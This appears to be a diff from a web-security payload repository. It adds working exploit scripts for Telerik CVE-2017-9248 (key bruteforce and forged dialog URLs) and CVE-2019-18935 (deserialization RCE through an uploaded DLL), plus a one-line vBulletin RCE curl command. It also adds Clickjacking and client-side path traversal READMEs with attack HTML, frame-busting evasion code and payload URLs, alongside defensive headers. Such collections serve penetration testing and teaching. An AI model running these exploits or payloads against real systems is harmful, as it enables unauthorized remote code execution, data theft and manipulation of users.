+                          "} found with " +
+                          str(char_requests) +
+                          " requests, total so far: " +
+                          str(requests_sent) +
+                          "\n"
+                      )
+            sys.stdout.flush()
+            char_requests = 0
+        else:
+            sys.stdout.write("\b"*7 + "Not found, quitting\n")
+            sys.stdout.flush()
+            break
+    if keychar is not False:
+        print("Found key: " +
+              (
+                found
+                if unprintable is False
+                else "(hex) " + binascii.hexlify(found.encode()).decode()
+              )
+              )
+    print("Total web requests: " + str(requests_sent))
+    return found
+
+
+def mode_brutekey():
+    session = requests.Session()
+    found = get_key(session)
+
+    if found == '':
+        return
+    else:
+        urls = {}
+        url_path = args.url
+        params = (
+                    '?DialogName=DocumentManager' +
+                    '&renderMode=2' +
+                    '&Skin=Default' +
+                    '&Title=Document%20Manager' +
+                    '&dpptn=' +
+                    '&isRtl=false' +
+                    '&dp='
+                  )
+        versions = [
+                    '2007.1423', '2007.1521', '2007.1626', '2007.2918',
+                    '2007.21010', '2007.21107', '2007.31218', '2007.31314',
+                    '2007.31425', '2008.1415', '2008.1515', '2008.1619',
+                    '2008.2723', '2008.2826', '2008.21001', '2008.31105',
+                    '2008.31125', '2008.31314', '2009.1311', '2009.1402',
+                    '2009.1527', '2009.2701', '2009.2826', '2009.31103',
+                    '2009.31208', '2009.31314', '2010.1309', '2010.1415',
+                    '2010.1519', '2010.2713', '2010.2826', '2010.2929',
+                    '2010.31109', '2010.31215', '2010.31317', '2011.1315',
+                    '2011.1413', '2011.1519', '2011.2712', '2011.2915',
+                    '2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
+                    '2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
+                    '2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
+                    '2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
+                    '2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
+                    '2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
+                    '2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
+                    '2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
+                    '2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
+                    '2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
+                    '2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
+                    '2017.3.913'
+                    ]
+
+        plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
+        plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
+        plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
+        plaintext3 = ';AllowMultipleSelection,False,3,False'
+
+        if len(args.version) > 0:
+            versions = [args.version]
+
+        for version in versions:
+            plaintext2_raw2 = version
+            plaintext2 = base64.b64encode(
+                            (plaintext2_raw1 +
+                                plaintext2_raw2 +
+                                plaintext2_raw3
+                             ).encode()
+                        ).decode()
+            plaintext = plaintext1 + plaintext2 + plaintext3
+            plaintext = base64.b64encode(
+                            plaintext.encode()
+                        ).decode()
+            ciphertext = base64.b64encode(
+                            encrypt(
+                                plaintext,
+                                found
+                            ).encode()
+                        ).decode()
+            full_url = url_path + params + ciphertext
+            urls[version] = full_url
+
+        found_valid_version = False
+        for version in urls:
+            url = urls[version]
+            request = requests.Request('GET', url)
+            request = request.prepare()
+            response = session.send(request, verify=False, proxies=getProxy(args.proxy))
+            if response.status_code == 500:
+                continue
+            else:
+                match = re.search(
+                    "(Error Message:)(.+\n*.+)(</div>)",
+                    response.text
+                    )
+                if match is None:
+                    print(version + ": " + url)
+                    found_valid_version = True
+                    break
+
+        if not found_valid_version:
+            print("No valid version found")
+
+def mode_samples():
+    print("Samples for testing decryption and encryption functions:")
+    print("-d ciphertext key")
+    print("-e plaintext key")
+    print("")
+    print("Key:")
+    print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
+    print("")
+    print("Plaintext:")
+    print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
+    print("")
+    print("Ciphertext:")
+    print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
+    print("")
+
+
+def mode_b64e():
+    print(base64.b64encode(args.parameter.encode()).decode())
+    print("")
+
+
+def mode_b64d():
+    print(base64.b64decode(args.parameter.encode()).decode())
+    print("")
+
+sys.stderr.write(
+              "\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
+              "Telerik.Web.UI.dll Cryptographic compromise\n\n"
+            )
+
+p = argparse.ArgumentParser()
+subparsers = p.add_subparsers()
+
+decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
+decrypt_parser.set_defaults(func=mode_decrypt)
+decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
+decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
+
+encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
+encrypt_parser.set_defaults(func=mode_encrypt)
+encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
+encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
+
+brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
+brute_parser.set_defaults(func=mode_brutekey)
+brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
+brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
+brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
+brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
+brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
+brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
+    accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
+brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
+
+encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
+encode_parser.set_defaults(func=mode_b64e)
+encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
+
+decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
+decode_parser.set_defaults(func=mode_b64d)
+decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
+
+args = p.parse_args()
+
+if len(sys.argv) > 2:
+    args.func()

CVE Exploits/Telerik CVE-2019-18935.py

@@ -0,0 +1,140 @@
+#!/usr/bin/env python3
+# origin : https://github.com/noperator/CVE-2019-18935
+# INSTALL: 
+# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
+#  python3 -m venv env
+#  source env/bin/activate
+#  pip3 install -r requirements.txt
+
+# Import encryption routines.
+from sys import path
+path.insert(1, 'RAU_crypto')
+from RAU_crypto import RAUCipher
+
+from argparse import ArgumentParser
+from json import dumps, loads
+from os.path import basename, splitext
+from pprint import pprint
+from requests import post
+from requests.packages.urllib3 import disable_warnings
+from sys import stderr
+from time import time
+from urllib3.exceptions import InsecureRequestWarning
+
+disable_warnings(category=InsecureRequestWarning)
+
+def send_request(files):
+    headers = {
+        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
+        'Connection': 'close',
+        'Accept-Language': 'en-US,en;q=0.5',
+        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
+        'Upgrade-Insecure-Requests': '1'
+    }
+    response = post(url, files=files, verify=False, headers=headers)
+    try:
+        result = loads(response.text)
+        result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
+        pprint(result)
+    except:
+        print(response.text)
+
+def build_raupostdata(object, type):
+    return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
+
+def upload():
+
+    # Build rauPostData.
+    object = {
+        'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
+        'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
+        'MaxFileSize': 0,
+        'TimeToLive': {  # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
+            'Ticks': 1440000000000,
+            'Days': 0,
+            'Hours': 40,
+            'Minutes': 0,
+            'Seconds': 0,
+            'Milliseconds': 0,
+            'TotalDays': 1.6666666666666666,
+            'TotalHours': 40,
+            'TotalMinutes': 2400,
+            'TotalSeconds': 144000,
+            'TotalMilliseconds': 144000000
+        },
+        'UseApplicationPoolImpersonation': False
+    }
+    type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
+    raupostdata = build_raupostdata(object, type)
+    
+    with open(filename_local, 'rb') as f:
+        payload = f.read()
+    
+    metadata = {
+        'TotalChunks': 1,
+        'ChunkIndex': 0,
+        'TotalFileSize': 1,
+        'UploadID': filename_remote  # Determines remote filename on disk.
+    }
+    
+    # Build multipart form data.
+    files = {
+        'rauPostData': (None, raupostdata),
+        'file': (filename_remote, payload, 'application/octet-stream'),
+        'fileName': (None, filename_remote),
+        'contentType': (None, 'application/octet-stream'),
+        'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
+        'metadata': (None, dumps(metadata))
+    }
+    
+    # Send request.
+    print('[*] Local payload name: ', filename_local, file=stderr)
+    print('[*] Destination folder: ', temp_target_folder, file=stderr)
+    print('[*] Remote payload name:', filename_remote, file=stderr)
+    print(file=stderr)
+    send_request(files)
+
+def deserialize():
+
+    # Build rauPostData.
+    object = {
+        'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
+    }
+    type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
+    raupostdata = build_raupostdata(object, type)
+    
+    # Build multipart form data.
+    files = {
+        'rauPostData': (None, raupostdata),  # Only need this now.
+        '': ''  # One extra input is required for the page to process the request.
+    }
+    
+    # Send request.
+    print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
+    start = time()
+    send_request(files)
+    end = time()
+    print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
+
+if __name__ == '__main__':
+    parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
+    parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
+    parser.add_argument('-v', dest='ui_version', required=True, help='software version')
+    parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
+    parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
+    parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
+    parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
+    args = parser.parse_args()
+
+    temp_target_folder = args.folder.replace('/', '\\')
+    ui_version = args.ui_version
+    net_version = args.net_version
+    filename_local = args.payload
+    filename_remote = str(time()) + splitext(basename(filename_local))[1]
+    url = args.url
+
+    upload()
+
+    if not args.test_upload:
+        deserialize()
+

CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh

@@ -0,0 +1 @@
+curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"

Clickjacking/README.md

@@ -0,0 +1,256 @@
+# Clickjacking
+
+> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on ‘Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+    * [UI Redressing](#ui-redressing)
+    * [Invisible Frames](#invisible-frames)
+    * [Button/Form Hijacking](#buttonform-hijacking)
+    * [Execution Methods](#execution-methods)
+* [Preventive Measures](#preventive-measures)
+    * [Implement X-Frame-Options Header](#implement-x-frame-options-header)
+    * [Content Security Policy (CSP)](#content-security-policy-csp)
+    * [Disabling JavaScript](#disabling-javascript)
+* [OnBeforeUnload Event](#onbeforeunload-event)
+* [XSS Filter](#xss-filter)
+    * [IE8 XSS filter](#ie8-xss-filter)
+    * [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter)
+* [Challenge](#challenge)
+* [Labs](#labs)
+* [References](#references)
+
+## Tools
+
+* [portswigger/burp](https://portswigger.net/burp)
+* [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)
+* [machine1337/clickjack](https://github.com/machine1337/clickjack)
+
+## Methodology
+
+### UI Redressing
+
+UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
+The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
+the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
+
+* **How UI Redressing Works:**
+    * Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.
+    * Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
+    * Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
+    * User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
+
+```html
+<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
+  <a href="malicious-link">Click me</a>
+</div>
+```
+
+### Invisible Frames
+
+Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
+These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
+The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
+
+* **How Invisible Frames Work:**
+    * Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
+
+      ```html
+      <iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
+      ```
+
+    * Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
+    * User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
+    * Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
+
+### Button/Form Hijacking
+
+Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.
+
+* **How Button/Form Hijacking Works:**
+    * Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
+
+    ```html
+    <button onclick="submitForm()">Click me</button>
+    ```
+
+    * Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
+
+    ```html
+    <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
+    <!-- Hidden form fields -->
+    </form>
+    ```
+
+    * Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
+
+    ```html
+    <button onclick="submitForm()">Click me</button>
+    <form action="legitimate-site" method="POST" id="hidden-form">
+      <!-- Hidden form fields -->
+    </form>
+    <script>
+      function submitForm() {
+        document.getElementById('hidden-form').submit();
+      }
+    </script>
+    ```
+
+### Execution Methods
+
+* Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.
+
+```html
+  <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
+  <input type="hidden" name="username" value="attacker">
+  <input type="hidden" name="action" value="transfer-funds">
+  </form>
+```
+
+* Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.
+
+```js
+  function submitForm() {
+    document.getElementById('hidden-form').submit();
+  }
+```
+
+## Preventive Measures
+
+### Implement X-Frame-Options Header
+
+Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.
+
+```apache
+Header always append X-Frame-Options SAMEORIGIN
+```
+
+### Content Security Policy (CSP)
+
+Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
+Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
+Example in HTML meta tag:
+
+```html
+<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">
+```
+
+### Disabling JavaScript
+
+* Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.
+* There are three deactivation techniques that can be used with frames:
+    * Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
+
+    ```html
+    <iframe src="http://target site" security="restricted"></iframe>
+    ```
+
+    * Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
+
+    ```html
+    <iframe src="http://target site" sandbox></iframe>
+    ```
+
+## OnBeforeUnload Event
+
+* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
+
+* The attacker can use this attack by registering an unload event on the top page using the following example code:
+
+```html
+<h1>www.fictitious.site</h1>
+<script>
+    window.onbeforeunload = function()
+    {
+        return " Do you want to leave fictitious.site?";
+    }
+</script>
+<iframe src="http://target site">
+```
+
+* The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header.
+
+204 page:
+
+```php
+<?php
+    header("HTTP/1.1 204 No Content");
+?>
+```
+
+Attacker's Page:
+
+```js
+<script>
+    var prevent_bust = 0;
+    window.onbeforeunload = function() {
+        prevent_bust++;
+    };
+    setInterval(
+        function() {
+            if (prevent_bust > 0) {
+                prevent_bust -= 2;
+                window.top.location = "http://attacker.site/204.php";
+            }
+        }, 1);
+</script>
+<iframe src="http://target site">
+```
+
+## XSS Filter
+
+### IE8 XSS filter
+
+This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
+
+```html
+<script>
+    if ( top != self )
+    {
+        top.location=self.location;
+    }
+</script>
+```
+
+Attacker View:
+
+```html
+<iframe src=”http://target site/?param=<script>if”>
+```
+
+### Chrome 4.0 XSSAuditor filter
+
+It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.
+
+Attacker View:
+
+```html
+<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
+```
+
+## Challenge
+
+Inspect the following code:
+
+```html
+<div style="position: absolute; opacity: 0;">
+  <iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe>
+</div>
+<button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button>
+```
+
+Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
+
+## Labs
+
+* [OWASP WebGoat](https://owasp.org/www-project-webgoat/)
+* [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)
+
+## References
+
+* [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://clickjacker.io)
+* [Clickjacking - Gustav Rydstedt - April 28, 2020](https://owasp.org/www-community/attacks/Clickjacking)
+* [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://www.synopsys.com/glossary/what-is-clickjacking.html#B)
+* [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://portswigger.net/web-security/clickjacking)

Client Side Path Traversal/README.md

@@ -0,0 +1,72 @@
+# Client Side Path Traversal
+
+> Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.  
+> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.  
+> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+    * [CSPT to XSS](#cspt-to-xss)
+    * [CSPT to CSRF](#cspt-to-xss)
+* [Labs](#labs)
+* [References](#references)
+
+## Tools
+
+* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
+
+## Methodology
+
+### CSPT to XSS
+
+![cspt-query-param](https://matanber.com/images/blog/cspt-query-param.png)
+
+A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
+
+**Example**:
+
+* The page `https://example.com/static/cms/news.html` takes a `newsitemid` as parameter
+* Then fetch the content of `https://example.com/newitems/<newsitemid>`
+* A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
+* Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`
+
+### CSPT to CSRF
+
+A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
+
+|                                             | CSRF               | CSPT2CSRF          |
+| ------------------------------------------- | -----------------  | ------------------ |
+| POST CSRF ?                                 | :white_check_mark: | :white_check_mark: |
+| Can control the body ?                      | :white_check_mark: | :x:                |
+| Can work with anti-CSRF token ?             | :x:                | :white_check_mark: |
+| Can work with Samesite=Lax ?                | :x:                | :white_check_mark: |
+| GET / PATCH / PUT / DELETE CSRF ?           | :x:                | :white_check_mark: |
+| 1-click CSRF ?                              | :x:                | :white_check_mark: |
+| Does impact depend on source and on sinks ? | :x:                | :white_check_mark: |
+
+Real-World Scenarios:
+
+* 1-click CSPT2CSRF in Rocket.Chat
+* CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
+* CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
+* [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
+* [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
+
+## Labs
+
+* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
+* [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)
+
+## References
+
+* [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
+* [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
+* [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
+* [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
+* [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://portswigger.net/blog/on-site-request-forgery)
+* [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://matanber.com/blog/cspt-levels)
+* [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://vitorfalcao.com/posts/automating-cspt-discovery/)
